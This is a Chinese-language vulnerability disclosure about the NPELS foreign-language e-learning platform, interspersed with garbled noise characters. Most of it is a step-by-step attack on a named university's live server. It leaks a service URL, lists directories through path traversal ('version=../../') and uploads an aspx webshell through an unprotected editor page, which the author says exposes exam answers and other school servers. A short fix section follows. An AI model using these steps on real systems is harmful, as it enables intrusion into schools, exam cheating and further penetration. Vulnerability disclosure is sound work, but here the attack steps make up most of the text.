新理念外语网络教学平台文件上传漏洞

admin

好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中
2 l$ {) u, S7 E; ~; B, U. m' ~
详细说明：

. P" c2 p; L/ Q8 o. C8 r& t以南开大学的为例:
http://222.30.60.3/NPELS
4 `, B: z) `* |NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址
<setting name="Update_CommonSvr_CommonService" serializeAs="String">
: H5 C4 J- f) d9 A0 P  N+ }<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
6 p% a" P! F( B( ]. ?6 h" K</setting>
9 a  S2 S3 A/ R, S及版本号
* O8 K- c# V; s2 Y4 A# w7 x<add key="TVersion" value="1, 0, 0, 2187">
0 n4 U3 y* Q. L( ~</add>
直接访问
5 q& i9 K% y* T. ]! Rhttp://222.30.60.3/NPELS/CommonService.asmx
使用GetTestClientFileList操作，直接 HTTP GET 列目录：
7 {8 w3 h, K8 e6 @" L' y* L" Mhttp://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
进一步列目录（返回的网页很大，可以直接 wget 下来）
http://222.30.60.3/NPELS/CommonS ... List?version=../../
# U8 P* j5 t/ v! i+ m) R  I/ s
发现
http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm
5 [3 Y  V( t* I, O8 ?& D可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头
上传后继续列目录找到木马地址直接访问即可

1 n0 C0 R$ X1 R. R# m: L4 eOOXX

9 v+ S- v6 Z% |* \6 d- V+ g4 NGoogle "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法
漏洞证明：
' S5 W, G+ S5 U6 {
( F( V& E; G: D$ J7 I( b列目录：
http://222.30.60.3/NPELS/CommonS ... List?version=../../
文件上传：
2 r( q4 _, i+ D6 Jhttp://222.30.60.3/npelsv/editor/editor.htm

上传木马：
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx
0 x$ y( d9 N7 v: q+ V0 @
2 o! u+ ]( n) s修复方案：
好像考试系统必须使用 CommonService.asmx
最好配置文件加密或者用别的方式不让它泄露出来
/ b2 z3 h: u' h并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样​